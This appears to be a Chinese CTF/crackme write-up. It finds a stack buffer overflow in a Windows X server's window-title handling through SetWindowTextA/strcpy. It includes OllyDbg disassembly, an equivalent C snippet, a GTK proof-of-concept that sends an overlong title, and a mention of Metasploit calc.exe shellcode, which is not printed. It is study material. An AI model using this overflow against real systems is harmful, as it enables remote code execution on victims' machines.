==============================================================================
我的答案:
answer.7z
压缩包中有4个文件test.c是源代码, test是linux下可执行程序shellcode是我用的shellcode,metasploit产生的执行任何命令的shellcode。windows/exec CMD=calc.exe 编码x86/alpha_mixed
在攻击机端执行test后,目标机会弹出calc.exe程序。
==============================================================================
一:解题环境的安装。
虚拟机vmware 6.5上安装了两个系统,一个是windows xp sp3,作为目标机。一个是ubuntu9.10 攻击机器。
目标机上安装的软件:ollydbg + SafeSEH(多谢riusksk的提醒和帮助)插件 + metasploit。
攻击机器上安装:gcc + gtk2(本人精通gtk编程,如果大家熟悉其他的xwindow或其封装库的界面编程,也可以用你熟悉的工具)。具体的安装命令请作相关的搜索。
也可以用两台物理机,保证两台机器网络互通就行了。
二:解题思路。
由于出题者给出了“字符串相关”的提示,于是所有的思考便放在断下所有字符串相关上。根据XWindow的工作原理,目标机器实际上是一个xwindow server,负责绘制攻击机器上运行的程序的界面。也就是说目标机器只负责图形界面的绘制。可以想象,如果攻击机器要做攻击的动作,必须跟界面有关。我当时猜想,溢出漏洞一定跟界面有关,当时除了xterm命令,我还用gimp程序做了测试。
在目标机上用ollydbg载入xsession程序,查找模块中所有的函数。在所有的字符串相关的函数上下断点(也包括其他模块的导入函数,当时我是用的排除法,一个函数一个函数试的,其实总共跟字符串相关的函数也没几个),当目标机发送绘图命令的时候,能被断下的函数一定是跟溢出有关的函数。能断下的只有两个LoadStringA和SetWindowTextA。LoadString软件作者没有用错,具体我就分析了。下面我们来看看SetWindowTextA。
在攻击端发送命令:xterm
这时会在ollydbg中断下:
00422469 . 8B9C24 000100>mov ebx, dword ptr [esp+100]
00422470 . 89E0 mov eax, esp
00422472 . 89EA mov edx, ebp
00422474 . E8 7E6D0100 call 004391F7
00422479 . 8B8424 000100>mov eax, dword ptr [esp+100]
00422480 . 30DB xor bl, bl
00422482 . 881C04 mov byte ptr [esp+eax], bl
00422485 . EB 05 jmp short 0042248C
00422487 > 30F6 xor dh, dh
00422489 . 883424 mov byte ptr [esp], dh
0042248C > 803C24 00 cmp byte ptr [esp], 0
00422490 . 0F84 90000000 je 00422526
00422496 . 89E0 mov eax, esp
00422498 . 50 push eax ; /Text
00422499 . 8B8C24 080100>mov ecx, dword ptr [esp+108] ; |
004224A0 . 51 push ecx ; |hWnd
004224A1 . 2E:FF15 D8065>call dword ptr cs:[<&USER32.SetWindow>; \SetWindowTextA
004224A8 . 81C4 08010000 add esp, 108
004224AE . 5D pop ebp
004224AF . 5F pop edi
004224B0 . 5E pop esi
004224B1 . C2 1000 retn 10
总共会被断下来两次,一次是程序名称,一次是窗口标题栏。稍微跟一下,就会发现下面的部分
00422469 . 8B9C24 000100>mov ebx, dword ptr [esp+100]
00422470 . 89E0 mov eax, esp
00422472 . 89EA mov edx, ebp
00422474 . E8 7E6D0100 call 004391F7
00422479 . 8B8424 000100>mov eax, dword ptr [esp+100]
00422480 . 30DB xor bl, bl
00422482 . 881C04 mov byte ptr [esp+eax], bl
00422485 . EB 05 jmp short 0042248C
等价于:
CHAR szCatpition[MAX_PATH];
strcpy(szCaption, <CaptionSource>);
szCaption[CaptionSource_Len] = '\0';
先拷贝,在用'\0'在长度处截断,大家都用的伎俩。只不过,作者忽略了在linux中标题栏的长度是可以超过MAX_PATH的,而且拷贝函数没有作边界检查。这就是“栈溢出漏洞”。
为了证实猜想,需要在linux下编写一个界面程序。刚好我精通gtk编程,程序代码:
#include <gtk/gtk.h>
#define CAPTION_LEN 300
int main( int argc,
char *argv[] )
{
char caption[CAPTION_LEN];
int i;
GtkWidget *window;
gtk_init (&argc, &argv);
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_widget_set_size_request(window, 500, 300);
/* 填充字符 */
for(i = 0; i < CAPTION_LEN; i++)
{
caption[i] = 'a';
}
caption[i] = '\0';
gtk_window_set_title(GTK_WINDOW(window), caption);
g_signal_connect (G_OBJECT (window), "destroy",
G_CALLBACK (gtk_main_quit), NULL);
gtk_widget_show (window);
gtk_main ();
return 0;
}
makefile:
test: test.c
gcc -Wall -g test.c -o test `pkg-config --cflags gtk+-2.0` `pkg-config --libs gtk+-2.0`
编译运行,可以看到目标机弹出异常信息:
上传的附件: